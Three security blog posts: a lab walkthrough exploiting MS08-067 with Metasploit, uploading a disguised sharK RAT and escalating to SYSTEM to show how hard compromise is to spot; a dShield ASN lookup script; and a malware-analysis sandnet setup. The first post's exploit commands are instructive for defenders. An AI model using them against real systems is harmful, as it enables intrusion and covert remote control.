Even When You Know You’re Pwnd, It’s Hard To See

I’m playing around with a RAT showdown for a project I’m working on (teaser: It will be a comparison of SharK 3.1, Poison Ivy 2.3.2, and the GPL version of Immunity Inc’s Hydrogen).

While doing this, it really hit home how tough it is to tell a host has been owned if it’s being done right.

I know this anyway, having been on the incident response side of things for a number of years, so it’s not news really. It’s just that every now and then something springs back up from memory and smacks you clear across the face and screams “Oh Yeah!” in a Randy “Macho Man” Savage impression. This was one of those moments for me.

Let me give an example. I’ll do that, by combining it with a “how to use the metasploit framework to upload binaries” overview first.

So, step 1 is: get MSF3, and run the msfconsole. I’m going to skip that step here, and jump straight to setting the payload we want (meterpreter), and exploiting.

First, set the payload:

 msf > setg payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

Now pick everyone’s favorite exploit: ms08_067_netapi

 msf > use exploit/windows/smb/ms08_067_netapi

Let’s take a look at the options:

msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LHOST     10.0.1.51        yes       The local address
   LPORT     4444             yes       The local port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

Some of these were set for me via my msfconsole.rc file (specifically, the LHOST setting for the payload.)
Now I pick the target I’ll be exploiting, and set it with the RHOST option:

msf exploit(ms08_067_netapi) > set RHOST 10.0.1.71
RHOST => 10.0.1.71

Once that’s all set, I can exploit the host:

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 10.0.1.51:4444 
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (10.0.1.51:4444 -> 10.0.1.71:1082)

BAM! I have a meterpreter session (ms08_067 isn’t called ‘old faithful’ for nothing.)

OK. Pentest done. Next B0x!

Unfortunately, that’s too often the case. This is sad really, because there’s so much more I can do with this. Like the following 😉

Let me start by finding out some information about the session, what privs I have on the host, and what process I’m running under:

 meterpreter > getuid
Server username: NT AUTHORITYSYSTEM

meterpreter > getpid
Current pid: 1108

meterpreter > ps

Process list
============

 PID   Name              Arch  Session  User                          Path
 ---   ----              ----  -------  ----                          ----
 0     [System Process]                                               
 4     System            x86   0        NT AUTHORITYSYSTEM           
 632   smss.exe          x86   0        NT AUTHORITYSYSTEM           SystemRootSystem32smss.exe
 680   csrss.exe         x86   0        NT AUTHORITYSYSTEM           ??C:WINDOWSsystem32csrss.exe
 704   winlogon.exe      x86   0        NT AUTHORITYSYSTEM           ??C:WINDOWSsystem32winlogon.exe
 748   services.exe      x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32services.exe
 764   lsass.exe         x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32lsass.exe
 940   svchost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32svchost.exe
 988   svchost.exe       x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32svchost.exe
 1108  svchost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSSystem32svchost.exe
 1184  svchost.exe       x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32svchost.exe
 1280  svchost.exe       x86   0        NT AUTHORITYLOCAL SERVICE    C:WINDOWSsystem32svchost.exe
 1448  spoolsv.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32spoolsv.exe
 1704  explorer.exe      x86   0        VIKTIM2viktim                C:WINDOWSExplorer.EXE
 1860  msdtc.exe         x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32msdtc.exe
 352   mqsvc.exe         x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32mqsvc.exe
 832   mqtgsvc.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32mqtgsvc.exe
 768   alg.exe           x86   0        NT AUTHORITYLOCAL SERVICE    C:WINDOWSSystem32alg.exe
 4032  sqlservr.exe      x86   0        NT AUTHORITYNETWORK SERVICE  c:Program FilesMicrosoft SQL ServerMSSQL.1MSSQLBinnsqlservr.exe
 4052  inetinfo.exe      x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32inetsrvinetinfo.exe
 4044  dllhost.exe       x86   0        VIKTIM2IWAM_VIKTIM2          C:WINDOWSsystem32dllhost.exe
 3692  dllhost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32dllhost.exe
 3896  IEXPLORE.EXE      x86   0        NT AUTHORITYSYSTEM           C:Program FilesInternet ExplorerIEXPLORE.EXE

Pretty cool. As expected, I’m running as the local system, and have attached to the svchost.exe process (pid# 1108).

If I look at the current working directory for the session, I see it’s the Windows system32 directory:

meterpreter > pwd
C:WINDOWSsystem32

That’s all very cool, but for this example, I want to interact with a user session.
Looking at the process list, I see that there’s a ‘viktim’ user logged in and that user is running explorer.exe in process 1704.

I’m going to try to switch to that process, using the handy migrate function provided by metasploit:

meterpreter > migrate 1704
[*] Migrating to 1704...
[*] Migration completed successfully.

meterpreter > getuid
Server username: VIKTIM2viktim

Excellent. I’ve now switched to a process running in the context of my target user.
Let me take a look at what my current directory is now:

meterpreter > pwd
C:Documents and Settingsviktim

What I want to do now is to upload my malware to the host.
In this case, I’ll be uploading a remote access trojan I built using sharK.
I’ve named the executable msdce32.exe in a sad attempt to be sneaky 😉
To upload the file to the victim host, I use the upload function in meterpreter:

 meterpreter > upload msdce32.exe
[*] uploading  : msdce32.exe -> msdce32.exe
[*] uploaded   : msdce32.exe -> msdce32.exe

Looks like the file upload was successful, so I try running it using the execute command.
This command takes a -f parameter with the filename to execute:

meterpreter > execute -f msdce32.exe
Process 292 created.

Very nice. Looking at my sharK console, I see that the process worked, because my victim has now connected to my SIN and I am able to use sharK to interact with it. (That will be a different post entirely, but here’s a screenshot of what it looks like. Note that the XP Desktop in the image below is actually a screen capture of the victim host that sharK provides when you mouseover the connection in the SIN):

Since I’m done exploiting my victim user, let me return back to the host and go back to a system process using the getsystem method in meterpreter:

meterpreter > getsystem
...got system (via technique 1).

Since I’m back at system, let me see if I can see my trojan running:

meterpreter > ps

Process list
============

 PID   Name              Arch  Session  User                          Path
 ---   ----              ----  -------  ----                          ----
 0     [System Process]                                               
 4     System            x86   0        NT AUTHORITYSYSTEM           
 632   smss.exe          x86   0        NT AUTHORITYSYSTEM           SystemRootSystem32smss.exe
 680   csrss.exe         x86   0        NT AUTHORITYSYSTEM           ??C:WINDOWSsystem32csrss.exe
 704   winlogon.exe      x86   0        NT AUTHORITYSYSTEM           ??C:WINDOWSsystem32winlogon.exe
 748   services.exe      x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32services.exe
 764   lsass.exe         x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32lsass.exe
 940   svchost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32svchost.exe
 988   svchost.exe       x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32svchost.exe
 1108  svchost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSSystem32svchost.exe
 1184  svchost.exe       x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32svchost.exe
 1280  svchost.exe       x86   0        NT AUTHORITYLOCAL SERVICE    C:WINDOWSsystem32svchost.exe
 1448  spoolsv.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32spoolsv.exe
 1704  explorer.exe      x86   0        VIKTIM2viktim                C:WINDOWSExplorer.EXE
 1860  msdtc.exe         x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32msdtc.exe
 352   mqsvc.exe         x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32mqsvc.exe
 832   mqtgsvc.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32mqtgsvc.exe
 768   alg.exe           x86   0        NT AUTHORITYLOCAL SERVICE    C:WINDOWSSystem32alg.exe
 4032  sqlservr.exe      x86   0        NT AUTHORITYNETWORK SERVICE  c:Program FilesMicrosoft SQL ServerMSSQL.1MSSQLBinnsqlservr.exe
 4052  inetinfo.exe      x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32inetsrvinetinfo.exe
 4044  dllhost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32dllhost.exe
 3692  dllhost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32dllhost.exe
 3896  IEXPLORE.EXE      x86   0        NT AUTHORITYSYSTEM           C:Program FilesInternet ExplorerIEXPLORE.EXE
 2988  IEXPLORE.EXE      x86   0        VIKTIM2viktim                C:Program FilesInternet ExplorerIEXPLORE.EXE
 916   IEXPLORE.EXE      x86   0        VIKTIM2viktim                C:Program FilesInternet ExplorerIEXPLORE.EXE
 3448  IEXPLORE.EXE      x86   0        VIKTIM2viktim                C:Program FilesInternet Exploreriexplore.exe

Hmm.. Nothing really stands out.
For fun, I killed the server from the sharK SIN, and compare the process table without the RAT running:

meterpreter > ps

Process list
============

 PID   Name              Arch  Session  User                          Path
 ---   ----              ----  -------  ----                          ----
 0     [System Process]                                               
 4     System            x86   0        NT AUTHORITYSYSTEM           
 632   smss.exe          x86   0        NT AUTHORITYSYSTEM           SystemRootSystem32smss.exe
 680   csrss.exe         x86   0        NT AUTHORITYSYSTEM           ??C:WINDOWSsystem32csrss.exe
 704   winlogon.exe      x86   0        NT AUTHORITYSYSTEM           ??C:WINDOWSsystem32winlogon.exe
 748   services.exe      x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32services.exe
 764   lsass.exe         x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32lsass.exe
 940   svchost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32svchost.exe
 988   svchost.exe       x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32svchost.exe
 1108  svchost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSSystem32svchost.exe
 1184  svchost.exe       x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32svchost.exe
 1280  svchost.exe       x86   0        NT AUTHORITYLOCAL SERVICE    C:WINDOWSsystem32svchost.exe
 1448  spoolsv.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32spoolsv.exe
 1704  explorer.exe      x86   0        VIKTIM2viktim                C:WINDOWSExplorer.EXE
 1860  msdtc.exe         x86   0        NT AUTHORITYNETWORK SERVICE  C:WINDOWSsystem32msdtc.exe
 352   mqsvc.exe         x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32mqsvc.exe
 832   mqtgsvc.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32mqtgsvc.exe
 768   alg.exe           x86   0        NT AUTHORITYLOCAL SERVICE    C:WINDOWSSystem32alg.exe
 4032  sqlservr.exe      x86   0        NT AUTHORITYNETWORK SERVICE  c:Program FilesMicrosoft SQL ServerMSSQL.1MSSQLBinnsqlservr.exe
 4052  inetinfo.exe      x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32inetsrvinetinfo.exe
 4044  dllhost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32dllhost.exe
 3692  dllhost.exe       x86   0        NT AUTHORITYSYSTEM           C:WINDOWSsystem32dllhost.exe
 3896  IEXPLORE.EXE      x86   0        NT AUTHORITYSYSTEM           C:Program FilesInternet ExplorerIEXPLORE.EXE
 2988  IEXPLORE.EXE      x86   0        VIKTIM2viktim                C:Program FilesInternet ExplorerIEXPLORE.EXE
 3364  IEXPLORE.EXE      x86   0        VIKTIM2viktim                C:Program FilesInternet Exploreriexplore.exe

If you can’t see a difference between the ‘infected’ and ‘not infected’ states, it’s because there’s not much of one.
Here’s the output from running the ‘diff’ command on the process tables:

 $ diff running notrunning
32,33c32
<  916   IEXPLORE.EXE      x86   0        VIKTIM2viktim                C:Program FilesInternet ExplorerIEXPLORE.EXE
<  3448  IEXPLORE.EXE      x86   0        VIKTIM2viktim                C:Program FilesInternet Exploreriexplore.exe
---
>  3364  IEXPLORE.EXE      x86   0        VIKTIM2viktim                C:Program FilesInternet Exploreriexplore.exe

As you can see, it’s pretty tough to tell that this host is compromised just based on that.

You could see that it was compromised in the network traffic perhaps, as the RAT communicates with its control center. However, if a standard port was being used for the comms (say, TCP/80 for example) it could be difficult to tell even then without looking at the actual packets to examine the data.

Like I said, this wasn’t really something I just figured out, it was just a very nice, clearly defined example of it.

ASNCheck Script

While working on a project today I decided that it would be handy to have a script that could take an AS number (from stdin or from a list of them) and check the health status of it (via things like DNSBL for example), specifically gathering information that could lead one to determine the relative infection/compromise level.

Ideally, such a script would be able to alternatively take an IP address, determine the AS for it and then report on both the IP provided as well as the overall “health” of the AS associated with it.

Well, some of that I managed to whip out tonight, though not all.

I’ll keep working on this, but I think it’s useful enough now to warrant posting (I normally do *not* make code public in this raw a state, so take note that there are very likely bugs in this).

That said, here’s ‘asncheck.py’.
In its current state, it just returns a list of IP addresses from a given AS which are in the dShield current watchlist.

#! /usr/bin/env python
# ------------------------------------------------
# asncheck:
# retrieves the current dshield watchlist for
# a given AS, returning just the IP addresses. 
# sample url:
# https://secure.dshield.org/asdetailsascii.html?as=123
# ------------------------------------------------
# written by:
# jason ross (algorythm@gmail.com)
# ------------------------------------------------
import sys

def main():
   # here beginneth the script
   opts = parmsdealer()

   if (opts.verbose == 1):
      print "nRetrieving information for AS Number " + opts.asn + ":n"
    
   if (opts.infile):
      try:
         filedata = open(opts.infile, 'rU')
      except IOError:
         print "unable to open input file '" + opts.infile + "'n"
         sys.exit(1)
      except:
          print "Unexpected error:", sys.exc_info()[0]
          sys.exit(1)
      else:
         for line in filedata:
            print line
            asn = line.split(opts.delim, 3)[int(opts.col)]
    
   if (opts.asn):
      asn = opts.asn

   dshield(asn, opts.verbose)

   #print '{0}.{1}.{2}.{3}'.format(oct1.zfill(3),oct2.zfill(3),oct3.zfill(3),oct4.zfill(3))


def parmsdealer():
   import sys
   from optparse import OptionParser
   version="nasncheck: version 0.1nauthor: jason ross <algorythm@gmail.com>n"
   usage="nn%prog [OPTIONS]n"
   parser = OptionParser(usage=usage, version=version)
   
   # set up command line arguments
   parser.set_defaults(col=0)
   parser.set_defaults(delim="|")
   parser.set_defaults(verbose=0)
    
   parser.add_option("-v", "--verbose", dest="verbose",
                     action="store_true", help="turn on/off verbosity (default: off)")
   parser.add_option("-a", "--asn", dest="asn",
                     action="store", help="specify the AS to retrieve data for (just the number, or with 'AS' prepended)")
   parser.add_option("-f", "--infile", dest="infile",
                     action="store", help="get the AS from the specified file (can be a list)")
   parser.add_option("-c", "--col", dest="col",
                     action="store", help="[required with -f] specifies which column in an input file contains the AS (default is to use the first column: '0')")
   parser.add_option("-d", "--delim", dest="delim",
                     action="store", help="[required with -f] specifies the delimiter to use when parsing the input file (default is to use the ASCII pipe character (0x7c):  '|')")
                     
   # process command line arguments
   (options, args) = parser.parse_args()
   
   # exit if we're missing options
   if (not options.asn and not options.infile):
      print "n" + sys.argv[0] + ": missing parameter(s)n"
      parser.print_help()
      print "n"
      sys.exit(1)
    
   # exit if we've got conflicting options
   if (options.asn and options.infile):
      print "n" + sys.argv[0] + ": can't set both an asn and an input file (there can be only one!)n"
      parser.print_help()
      print "n"
      sys.exit(1)

   return options


def dshield(asn, verbose):
   import socket
   import urllib
   import urllib2
   import re
    
   # urllib2 calls socket, so we can set the timeout here
   timeout = 5
   socket.setdefaulttimeout(timeout)

   baseuri = 'https://secure.dshield.org/asdetailsascii.html'

   params = {}
   params['as'] = asn
   encparams = urllib.urlencode(params)

   requri = baseuri + '?' + encparams
   req = urllib2.Request(requri)

   if (verbose == 1):
      print "opening " + requri + "n"

   try:
      res = urllib2.urlopen(req)
   except urllib2.URLError, e:
      if hasattr(e, "code"):
         print "site borked! HTTP error: " 
         print e.code
      elif hasattr(e, "reason"):
         print "server borked! reason: "
         print e.reason
   else:
      data = res.readlines()
#      print data
      for line in data:
         if ( re.match(r"[0-9]", line) ):
            ip = line.split()
            print ip[0]
      

if __name__ == "__main__":
   main()

Setting Up A Malware Analysis Sandnet

A malware analysis sandset is an environment created to allow relatively safe analysis of malicious software samples, which are generally obtained either via a honeynet, or perhaps by reading all the spam one gets and following all the links 😉

I’ve been running one for over a year, and figured it was about time to document how I have it set up.

Hosts

Currently there are 2 hosts in the sandnet:

    • viktim: A Windows XP SP2 host which is deliberately infected for the purposes of analysis

 

    • snservices: A Debian Linux host which serves wildcard DNS, as well as running Apache, and providing various other services used to analyze the malware.

 

viktim

viktim is running XP SP2 (no patches other than the SP) and has 2 hard drives in it.
After installing Windows, I disabled the second hard drive so that the OS doesn’t see it. Then I booted up a live Linux distro and used dd to copy the OS drive to the backup one.

The advantage to this is that I can install whatever malware is desired and then simply dd from the backup drive over the infected one to get things back to a clean state.

Note: It takes about 15 minutes to do the dd (they’re 9gb drives).

snservices

snservices is running Debian Linux for an OS, and has been configured with a number of tools, including:

    • BIND

 

    • Apache

 

    • NMAP

 

    • Paketto

 

    • ettercap

 

    • SpiderMonkey

 

Architecture

The regular network is protected from the sandnet via a firewall device. I’ve configured the firewall to log all traffic (logfiles are sent to a remote host via syslog for analysis).

BIND Configuration

BIND has been configured such that it is the SOA for every domain request that it receives, and replies to any requests with the IP address of the snservices host.

viktim has been configured to use snservices as its only DNS server. This allows any DNS calls being made by the viktim host to be observed, and any software that tries to communicate with the internet ends up talking to the snservices box instead.

/etc/bind/named.conf

the default zones for localhost and such have been snipped from the text below

   include "/etc/bind/named.conf.options";
   
   key "dnskey" {
      algorithm hmac-md5;
      secret "hash";
   };
   
   controls {
      inet * allow { 127.0.0.1; } keys { "dnskey"; };
   };
   
   zone "." IN {
      type master;
      file "/etc/bind/db.wildcard";
   };

 

/etc/bind/db.wildcard

 

   $TTL   60M
   @   IN   SOA   localhost.  root.localhost (
                           2008022002   ; serial
                                604800  ; refresh
                                 86400  ; retry
                               2419200  ; expire
                                604800) ; negative cache ttl
   ;
                  IN          NS         localhost.
   *              IN           A         192.168.1.3

 

/etc/bind/named.conf.options

 

   options {
      directory "/var/cache/bind";
      allow-transfer { none; };
   //    logging {
   //       channel query_log {
   //          severity info;
   //          print-time yes;
   //          file "query.log" versions 5 size 50M;
   //       };
   //       category queries {
   //          query_log;
   //       }
   //   }
      listen-on-v6 { any; };
   };

 

Analysis

 

JavaScript De-Obfuscation

For de-obfuscating javascript downloader code there are a couple different methods which can be used. Info on this can be found at this SANS diary entry.

The SpiderMonkey method described there is fairly simple and generally works well. For this reason, SpiderMonkey has been installed and9 configured on the snservices host.

Monitoring and Logging

 

On snservices

For analyzing network communication from the viktim host, iptables logging can be used. Apache logs can be used to view HTTP requests. Additionally, a netcat listener can be established on whatever port the malware on viktim is attempting to connect to so the conversation can be monitored and/or logged.

On viktim

For analyzing the binaries and behaviors that occur upon infecting the Windows host, a combination of the following is typically used:

    • strings

 

    • wget

 

    • Wireshark

 

    • PEBrowse Pro

 

    • Immunity Debugger

 

    • SysAnalyzer

 

    • iDefense MAP

 

    • netstat

 

    • ipconfig

 

Virtual Machine Environment

For a quick analysis of things that don’t appear to require such a complicated setup, a virtual environment can be used.

VM Software

For the purposes of evading detection, the Innotek VirtualBox software was chosen. Most malware at the time of this writing does not check for this particular VM software when determining whether it is being run inside a virtual host (whereas a number of them do check for VMWare). VirtualBox also consumes less resources on the Host OS than VMWare. Both VMWare and Virtualbox are freely downloadable.

Guest OS

A Windows XP SP2 ( again, unpatched except for the SP ) image is run inside the VirtualBox Host.

Tools

The tools used in this environment are largely the same as those on the viktim host described above. Due to the fact that the snservices host is not available to the virtual machine however, some functionality is lost.

This is made up for somewhat by the functions provided by the SysAnalyzer tool and the iDefense MAP suite, however, these are not as robust as the tools available via the snservices host.

—-
And there you have it. Maybe not the best sandnet ever made, but I find it fairly sufficient, and flexible enough to do what I need it to do and be easily maintained.

[update 2010-03-02]
I turned this into a talk and presented it at BlackHat DC 2010!